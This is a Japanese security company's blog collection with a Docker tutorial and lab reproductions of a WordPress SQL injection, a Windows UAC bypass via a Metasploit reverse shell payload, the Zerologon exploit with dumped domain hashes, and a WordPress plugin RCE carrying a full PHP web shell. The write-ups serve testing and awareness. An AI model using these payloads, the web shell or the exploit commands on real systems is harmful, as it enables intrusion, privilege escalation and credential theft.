Armoris日記 Dockerと迎えるクリスマス編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今年のクリスマスは家でDockerと過ごそう!

今回のArmoris日記は私が普段環境構築などで使用しているDockerの入門編をお送りします。
普段Armoris日記では検証環境を用意する際にVirtualBoxをよく使用しますが、今回はより手軽に環境の作成や破棄が行えるDockerを紹介します。

今回の例ではホストOSにUbuntuを使用しています。
今年のクリスマスはDockerと仲良くなりましょう!

公式インストールガイド:Install Docker Engine on Ubuntu

f:id:Armoris:20201225155215p:plain

UbuntuにDockerをインストール

まずはUbuntuに前提ソフトウェアをインストールします。

user@blog-ubuntu:~$ sudo apt update
user@blog-ubuntu:~$ sudo apt -y install \
>    apt-transport-https \
>    ca-certificates \
>    curl \
>    gnupg-agent \
>    software-properties-common

次にDockerのGPG Keyを追加します。

user@blog-ubuntu:~$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
OK

追加したGPG Keyのフィンガープリントを確認します。
以下と同じ出力になっていれば正しいGPG Keyがインストールされています。

user@blog-ubuntu:~$ sudo apt-key fingerprint 0EBFCD88
pub   rsa4096 2017-02-22 [SCEA]
      9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88
uid           [ unknown] Docker Release (CE deb) 
sub   rsa4096 2017-02-22 [S]

次にリポジトリを追加します。
x86_64/amd64

user@blog-ubuntu:~$ sudo add-apt-repository \
>    "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
>    $(lsb_release -cs) \
>    stable"

ここまでの作業が完了したらパッケージリストを更新してDockerをインストールします。

user@blog-ubuntu:~$ sudo apt update
user@blog-ubuntu:~$ sudo apt -y install docker-ce docker-ce-cli containerd.io

最後に一般ユーザーでもDockerを使えるようにユーザーをdockerグループに所属させます。

user@blog-ubuntu:~$ sudo usermod -aG docker user

Dockerを使う

まずは正常にインストールができたか確認するためにhello-worldイメージを実行します。
以下のように表示されていれば正常にDockerがインストールされています。

user@blog-ubuntu:~$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
0e03bdcc26d7: Pull complete 
Digest: sha256:1a523af650137b8accdaed439c17d684df61ee4d74feac151b5b337bd29e7eec
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

まずはイメージ一覧を表示します。
以下のように先ほど実行したhello-worldimageが表示されていると思います。

user@blog-ubuntu:~$ docker image ls
REPOSITORY    TAG       IMAGE ID       CREATED         SIZE
hello-world   latest    bf756fb1ae65   11 months ago   13.3kB

次に先ほど実行したDockerコンテナを表示します。
-aオプションをつけることで以下のように起動していないコンテナも表示することができます。

user@blog-ubuntu:~$ docker container ls -a
CONTAINER ID   IMAGE         COMMAND    CREATED         STATUS                     PORTS     NAMES
54aa0a473f92   hello-world   "/hello"   7 minutes ago   Exited (0) 7 minutes ago             wonderful_easley

Dockerは基本的にhello-worldのようにdocker run <image>とすることで使用することができます。

Docker公式Ubuntu image:docker hub ubuntu
Ubuntu20.04のDockerコンテナを使用したい場合は以下のようにします。

user@blog-ubuntu:~$ docker run ubuntu:20.04

Dockerコンテナを起動してコンテナのシェルに接続するには-itオプションを指定して以下のようにします。

user@blog-ubuntu:~$ docker run -it ubuntu:20.04 /bin/bash
root@299f88c38754:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

他にもDockerfileを作成しオリジナルのイメージを作成してそこからコンテナを作成することも可能です。

不要になったコンテナを削除する場合はrmコマンドを使用します。

user@blog-ubuntu:~$ docker container -a
CONTAINER ID   IMAGE          COMMAND       CREATED         STATUS                     PORTS     NAMES
7b1e6b0a6818   ubuntu:20.04   "/bin/bash"   6 seconds ago   Exited (0) 5 seconds ago             bold_faraday
user@blog-ubuntu:~$ docker rm 7b1e6b0a6818
7b1e6b0a6818
user@blog-ubuntu:~$ docker container -a
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES

Dockerの扱いに慣れてきたらdocker-composeを使用してより複雑な環境を簡単に作成することもできます。

以上で簡単なDockerの使い方に関する紹介は終わりとなります。

まとめ!!!

普段環境構築をする際の例として使用しているVirtualBoxに比べてインストールの手間が無いことや、気軽にコンテナの作成・破棄が行えるDockerを紹介しました。
この機会にDockerの使い方を覚えてぜひ普段の検証や環境構築で利用してみてください。

今年のArmoris日記はこの記事で最後の予定です。(もしネタがあれば年内に更新します)

Armoris日記を読んでいただきありがとうございます。来年も脆弱性の検証や今回のようなTips記事を書いていこうと思います。

Armoris日記 CVE-2020-14207編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-14207の検証

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記では、とあるサイトでPoCを発見したCVE-2020-14207についての検証を行います。
CVE-2020-14207はWordPressのDiveBookというプラグインに存在する脆弱性です。現在、このプラグインの開発は止まっており、当該脆弱性の修正はなされていない状態です。

脆弱性の概要はプラグインのfilter_diverパラメーターが適切にサニタイズされていなかったためSQLiが発生するというものです。

脆弱性情報:WPScan
該当プラグインDiveBook

影響を受けるバージョン:DiveBook <= 1.1.4 latest version

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
DiveBook 1.1.4
WordPress 5.6

検証環境の準備

まずはVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6588, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.138
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/DiveBook/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.138 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回も普段使用している以下のymlファイルを用いてWordPressの環境を構築します。

WordPressの構築が完了したらDiveBookプラグインを導入します。

vagrant@ubuntu2004:~$ wget https://downloads.wordpress.org/plugin/divebook.1.1.4.zip
vagrant@ubuntu2004:~$ unzip divebook.1.1.4.zip
vagrant@ubuntu2004:~$ sudo cp -r divebook /var/www/wordpress/wp-content/plugins/

WordPressにログイン後プラグインを有効化して準備完了です。

検証

現在脆弱性が修正されていない状態であり、WPScanでPoCが公開されていないためArmoris日記で詳しいPoCの解説は行いません。

まずはデフォルトのHello World!ページを編集して以下の内容を入力し、DiveBookプラグインを使用できる状態にします。

[divebook]divebook_display();[/divebook]

以下の画像はプラグインを埋め込んだ状態です。 f:id:Armoris:20201218185614p:plain

次にパラメーターを変更したURLにアクセスすることで以下のように使用しているDBのバージョン情報が表示されます。 f:id:Armoris:20201218185934p:plain
f:id:Armoris:20201218185953p:plain

その他にも別のパラメーターを使用することで以下のようにDBのデータを表示することができます。 f:id:Armoris:20201218190508p:plain

おわりに

今回検証したように、プラグインの開発が終了しているなどの理由により、見つかった脆弱性が修正されていないことが多くあります。
プラグインやソフトウェアを導入する際は使いやすさだけでなく、開発が継続的に行われているか、コミュニティが活発に活動しているかなども気にかけるようにすると良いのではないでしょうか。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Win10 UAC Bypass編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Windows10でUAC Bypassをやってみよう

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

今回のArmoris日記は、HTTP Reverse Shellから侵入し、Windows10のUAC Bypassを再現してみた内容を紹介します。

そもそもUACとは User Account Control といい、管理者権限を持つユーザーに普段は一般ユーザーと同じ権限しか与えず、管理者権限の必要な処理を実行しようとした際に警告ダイアログを表示して本当に実行してよいか確認するなどして適正なアカウント権限の管理を行う機能のことです。
今回は、この機能をBypassして管理者権限に昇格する手法を試します。

検証環境

検証にあたり使用した環境は以下の通りです。

Name Version
MSEdge Win10 1809
Kali Linux 2020.2
  • Other :
    • MSF exploit/multi/handler
      • PAYLOAD windows/x64/meterpreter/reverse_tcp
      • PAYLOAD windows/local/bypassuac_silentcleanup

環境準備

まずは以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しています。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポート機能を使用して起動します。
検証用のイメージはデフォルトパスワードが Passw0rd!に設定されています。
画像のようにWindowsにログイン後各種保護をオフにします。
設定項目はSettings → Update & Security → Windows Security → Open Windows Securityからアクセスできます。 f:id:Armoris:20201211175407p:plain

次にKali Linuxを起動し、Payloadの作成を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.1.30 -f exe -o ./hack.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: ./hack.exe

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo mkdir /var/www/html/file

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo cp hack.exe /var/www/html/file/

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo systemctl restart nginx

f:id:Armoris:20201211175017p:plain

Payloadが作成できたらWindowsからアクセスして.exeファイルを保存します。 f:id:Armoris:20201211175843p:plain

検証

準備が完了したらPayloadを実行してHTTP Reverse Shellを作りUAC Bypassを試します。

まずはKali Linuxmsfconsoleを起動します。起動が確認できたらまずはHTTP Reverse Shellを待ち受けるための設定を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ msfconsole

       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.1.30
lhost => 10.0.1.30
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.0.1.30:4444

次にWindowsに保存したhack.exeを実行します。
実行時に以下のようなダイアログが出る場合はMore infoをクリックし、Run anywayをクリックします。 f:id:Armoris:20201211180945p:plain
f:id:Armoris:20201211180955p:plain

hack.exe実行後のWindowsに変化はありませんが、Kali Linuxでは以下のようになります。 f:id:Armoris:20201211181119p:plain

HTTP Reverse Shellを作成し、getuidコマンドを実行してMSEDGEWIN10\IEUserになっていることを確認します。

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser

次にセッションをバックグラウンドで維持しながらUAC Bypassを行います。
getsystemコマンドを実行後getuidコマンドの結果がNT AUTHORITY\SYSTEMと表示されシステム権限になっていることが確認できます。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf5 exploit(windows/local/bypassuac_silentcleanup) > show options

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION                                                             yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.1.30        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit

[*] Started reverse TCP handler on 10.0.1.30:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (176195 bytes) to 10.0.1.31
[*] Meterpreter session 2 opened (10.0.1.30:4444 -> 10.0.1.31:50119) at 2020-12-11 18:16:57 +0900

meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

今回使用しているPayloadはexploit/windows/local/bypassuac_silentcleanupですが、成功しない場合はいくつか他のものを試してみてください。

以上でUAC Bypassの検証は終了です。

最後に

今回の検証はHTTP Reverse Shellのセッション確立後によく行われることの一つとしてUAC Bypassを検証してみました。
実際に検証してみてWindowsの画面上では特に変化がなくても不審な.exeファイルを実行するだけで、簡単に管理者権限までが奪われてしまうというのがわかったのではないかと思います。

今回の検証をインターネット上からダウンロードしたファイルを実行する際に頭の片隅に置いておいてもらえればいいかなと思います。

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

Armoris日記 CVE-2020-1472編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Zerologonを検証してみる

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記はZerologonの検証用環境を作成し、ツールを用いて攻撃が成功するかを検証します。
脆弱性についての詳しい説明や原因については多くの方が解説しているので、ここでは簡単に概要を説明します。

ZerologonとはActive Directoryでユーザーとシステムの認証の為に利用されているNetlogonプロトコルの実装における権限昇格の脆弱性になります。本脆弱性を悪用することでドメインコントローラーに接続している端末を全て制御することが可能になります。
実際にPoCも公開されており、脆弱性を悪用した攻撃が確認されています。

脆弱性情報:JVN
影響を受けるシステム:

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Windows Server 2019 1809
Kali Linux 2020.2

VBoxを使用してWindows Serverを準備する

今回はWindows Server 2019の評価版ISOとVirtual Boxを使用してActive Directory環境を構築します。

リンク先のサイトにアクセスして以下の手順に従ってWindows Server 2019のISOをダウンロードします。
以下の画面でISOを選択します。 f:id:Armoris:20201204163628p:plain

次へを押して必要事項を入力します。 f:id:Armoris:20201204163702p:plain

入力が完了したら次へを押してダウンロードします。 f:id:Armoris:20201204163736p:plain

ISOファイルのダウンロードが完了したらVBoxを使用して環境を準備していきます。
VBoxの新規作成から以下のように設定してISOファイルを選択して起動します。
私はメモリ2GBとディスク20GBのデフォルト割り当てを使用しました。 f:id:Armoris:20201204164221p:plain

今回は英語環境を使用するので以下の設定でインストールをします。 f:id:Armoris:20201204164346p:plain

インストールするものはDesktop Experiensを選択します。 f:id:Armoris:20201204164441p:plain

インストールが完了すると画像のようにAdministraterのパスワード入力を求められます。
ここでは記号などが入っているものでないと設定ができない為、Passw0rd!などを使用して設定します。 f:id:Armoris:20201204164557p:plain

設定が完了すると自動的に再起動します。再起動後に以下のような画面になればインストールは完了です。 f:id:Armoris:20201204164733p:plain

表示されている通りにCtrl+Alt+Deleteを押して先ほど設定したパスワードを入力しログインします。
ログインが完了してしばらくすると自動的にServer Managerが起動します。 f:id:Armoris:20201204164922p:plain

以上でWindows Serverのインストールが完了しました。

Active Directoryを設定する

次にActive Directoryの設定を行います。

まずはServer ManagerからAdd roles and featuresを選択します。 f:id:Armoris:20201204165845p:plain

Add Roles and Features Wizardが表示されたらNextを押していき、Select server rolesの項目でActive Directory Domain Servicesにチェックを入れます。
すると以下のような画面になるのでAdd Featuresを押します。 f:id:Armoris:20201204170221p:plain

そのままNextを押していき、installを押してインストールが完了するのを待ちます。 f:id:Armoris:20201204170418p:plain

インストールが完了すると以下のように青文字でPromote this server to a domain controllerと表示されるのでクリックします。 f:id:Armoris:20201204170535p:plain

以下のような画面になったらRoot domain name:を入力してNextを押します。
今回はlocalhost.testと入力しています。 f:id:Armoris:20201204171017p:plain

次にパスワードの設定を行います。今回は検証のためPassw0rd!で設定しています。 f:id:Armoris:20201204171159p:plain

その他はデフォルト設定のままでインストールの事前チェックで問題がなければインストールを実行します。
インストールが完了すると自動的に再起動が行われます。 f:id:Armoris:20201204171327p:plain

再起動が完了したらActive Directoryのインストールは完了です。

Active Directoryの設定をする

Active Directoryのインストールが完了したらユーザーとグループを作成します。

Server ManagerToolsからActive Directory Users and Computersを選択します。 f:id:Armoris:20201204171959p:plain

ウィンドウが開いたら先ほど設定したlocalhost.testを展開します。
Usersを右クリックしてNewからUserを選択します。f:id:Armoris:20201204172425p:plain

各種必要事項を入力していきます。
検証用に以下の情報を入力しています。

First name: test
Last name: user

User logon name: test-user

f:id:Armoris:20201204172755p:plain

必要事項の入力が完了したらパスワードを設定します。
ここでも検証用にPassw0rd!を設定しています。
パスワードを入力したらNextを押して進みユーザーを作成します。 f:id:Armoris:20201204173108p:plain

ユーザー作成が完了したらグループを作成していきます。
まずは先程と同じようにUsersを右クリックしてNewからGroupを選択します。 f:id:Armoris:20201204173448p:plain

Group name:TestGroupと入力してOKを押してグループを作成します。 f:id:Armoris:20201204173620p:plain

グループの作成が完了したらユーザーをグループに追加します。

先程作成したTestGroupをダブルクリックし、Memversの項目からAddを押します。
ウィンドウが開いたらtest-userと入力し、Check Namesを押してOKを押します。
これでグループに作成したユーザーが追加されます。 f:id:Armoris:20201204173854p:plain

これでActive Directoryの設定が完了です。

ツールを使って検証する

Windows Serverの環境ができたらKali Linuxからツールを使用してZerologonの検証を行います。
ツール使用時にWindows ServerのDevice nameを使用する為事前にメモしておきます。
SettingsSystem項目にあるAboutから確認できます。 f:id:Armoris:20201204175859p:plain

まずは以下のツールの準備をします。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 18794 (delta 30), reused 20 (delta 7), pack-reused 18730
Receiving objects: 100% (18794/18794), 6.28 MiB | 4.56 MiB/s, done.
Resolving deltas: 100% (14300/14300), done.

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket

┌──(user㉿kali-linux)-[~/Desktop/impacket]
└─$ pip3 install .

次に権限昇格用のツールを準備します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ git clone https://github.com/VoidSec/CVE-2020-1472.git
Cloning into 'CVE-2020-1472'...
remote: Enumerating objects: 75, done.
remote: Counting objects: 100% (75/75), done.
remote: Compressing objects: 100% (69/69), done.
remote: Total 75 (delta 41), reused 18 (delta 6), pack-reused 0
Unpacking objects: 100% (75/75), 3.75 MiB | 2.86 MiB/s, done.

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ cd CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ pip3 install -r requirements.txt

まずはActive Directoryにログインして情報の取得を試みるツールを権限昇格前に試します。

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...

次にExploit Codeを実行します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples/CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py -n WIN-GO7TKNGMALG -t 10.0.1.38
 _____                   __
/__  /  ___  _________  / /___  ____ _____  ____
  / /  / _ \/ ___/ __ \/ / __ \/ __ `/ __ \/ __ \
 / /__/  __/ /  / /_/ / / /_/ / /_/ / /_/ / / / /
/____/\___/_/   \____/_/\____/\__, /\____/_/ /_/
                             /____/

Checker & Exploit by VoidSec

Performing authentication attempts...
.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] Success: Target is vulnerable!
[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y
y
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

Successと表示されていればActive Directoryの権限昇格が成功しています。
再度情報の取得を行ってみます。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:902af79092df128cba8e16f0a1e6d206:::
localhost.test\test-user:1103:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
WIN-GO7TKNGMALG$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c3d2d56da0412c305dc24133124f94ea8d718fcd8033556644753772d289db52
Administrator:aes128-cts-hmac-sha1-96:f5325fb0fe00356deccd66c6adeeae82
Administrator:des-cbc-md5:e97a6d8a49bf133e
krbtgt:aes256-cts-hmac-sha1-96:fd95e1d9581d9f4b2d7f58a961c50b2b802c20e7578a2c253b9042b1158dc0ae
krbtgt:aes128-cts-hmac-sha1-96:11fb466f7a6d163c341cea5403a888a7
krbtgt:des-cbc-md5:d0864662d00dd5ec
localhost.test\test-user:aes256-cts-hmac-sha1-96:7d4d27b69a3fc671edd7a541e212c8380372479a96dba6a99e89dc41240fded2
localhost.test\test-user:aes128-cts-hmac-sha1-96:8c47b02207a82868e541497b6c71da21
localhost.test\test-user:des-cbc-md5:5e6d62b9f2f4e6cd
WIN-GO7TKNGMALG$:aes256-cts-hmac-sha1-96:387891ec7aa06b29d18be0b914a45cf7fc1d9fd3881fb51b20356370e16e0535
WIN-GO7TKNGMALG$:aes128-cts-hmac-sha1-96:485e8beb173dd30b78b62db516fdc330
WIN-GO7TKNGMALG$:des-cbc-md5:ec6b8a37dff81acb
[*] Cleaning up...

今度は先程作成したtest-userに関する情報を含め、実際にActive Directoryから不正に情報を取得することに成功しています。

今回の検証は以上になります。

最後に

今回検証したZerologonと言われる脆弱性は実際にツールがいくつも公開されており、脆弱性を悪用した攻撃が確認されています。また、今回の脆弱性による攻撃は正常な認証プロセスの中で行われる為、イベントログに記録されるものだけでは判別が難しくなります。
すでに修正パッチが配布されていますが、まだ適用されていない場合は早急にパッチを適用するようにしてください。

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Simple File List < 4.2.3 RCE編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Simple File ListのRCEについて検証してみます

自分が管理するサーバー以外では絶対に試さないでください。また、検証は自己責任で行ってください。

今回検証するのはWordPressプラグインであるSimple File Listのファイル名変更機能の拡張子チェック漏れを悪用した攻撃です。
この脆弱性は、アップロードしたファイルのファイル名変更時に拡張子のチェックが行われていないことが原因で発生するものです。そのため、一度許可された拡張子のファイルをアップロードし、その後任意(.php, .html, etc...)のファイル拡張子に変更することでRCEが可能になります。

脆弱性情報:packet storm
該当プラグインSimple File List

影響を受けるバージョン:Simple File List < 4.2.3

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
Simple File List 4.2.3
WordPress 5.5.3

検証環境の準備

まずはVagrantを使用してUbuntuServerの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6282, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.132
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/SimpleFileList/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.132 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回は以下のymlファイルを使用しています。

WordPressの構築が完了したらアップロードフォルダの作成とパーミッションの設定をします。

$ vagrant ssh
vagrant@ubuntu2004:~$ mkdir -p /var/www/wordpress/wp-content/uploads/simple-file-list
vagrant@ubuntu2004:~$ sudo chown -R www-data:www-data /var/www/wordpress

ここまで完了したらプラグインを有効化して準備完了です。

検証

Armoris日記ではPoCは掲載しませんが、実際にいくつか実行可能なものが公開されています。今回はその中でPythonで書かれたものを試します。
PoC実行時にIPを指定してアップロードするファイルとプロトコルを対話形式で入力します。
検証に使用したPoCでは一度ファイル拡張子を.png形式に変更してからアップロードを行い、ファイル名変更機能でファイル拡張子を.phpに戻しています。

$ cat hack.php

$ python poc.py 192.168.121.132
[*] Enter File Name (working directory): hack.php
[*] Enter protocol (http/https): http
[+] File renamed to hack.png
[+] File uploaded at http://192.168.121.132/wp-content/uploads/simple-file-list/hack.png
[+] File moved to http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php
[^-^] Exploit seems to have worked...
        URL: http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php

PoC実行後に表示されるURLにアクセスするとPHP infoが実行されることが確認できます。

この時のApacheログを確認すると以下のようになっています。

192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 200 210 "-" "python-requests/2.11.1"
192.168.121.132 - - "GET /wp-content/uploads/simple-file-list/hack.png HTTP/1.1" 200 306 "-" "python-requests/2.11.1"
192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 200 210 "http://172.20.100.120:6282/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1" "python-requests/2.11.1"

次にshell.phpを作成してRCEを試します。
WebShell参考元:Qiita

<?php
session_start();

if ($_POST["cmd"]) {
    $cmd= $_POST["cmd"];
    if ($_POST["cmd"] === "reset") {
        $_SESSION = [];
    } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
        $_SESSION["path"] = shell_exec($cmd." & @cd");
    } else {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
    }
}
?>

<!DOCTYPE html>
<html lang="ja">
    <head>
       <meta charset="UTF-8">
       <title>WebShell</title>
       <style>
            *{
                color: #00ff00;
                font-size: 15px;
                font-family: Hack, monospace;
            }
            body{
                background-color: #000000;
            }
            input{
                border: 0px;
                background-color: transparent;
            }
        </style>
   
   </head>
    <body>
        <?php
            if (empty($_SESSION["history"])) $_SESSION["history"] = "";
            if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
            echo $_SESSION["history"];
            echo $_SESSION["path"]
        ?>
        <form method="POST">
            ><input autofocus type="text" name="cmd">
        </form>
    </body>
</html>

ファイルアップロード後にアクセスすると以下のようにRCEが成功することが確認できます。 f:id:Armoris:20201127154048p:plain 以上で検証終了です。

最後に

今回検証した脆弱性はよくあるアップロード時のファイル拡張子チェックの漏れではなく、名前変更機能のファイル拡張子チェックが行われていないことが原因でした。
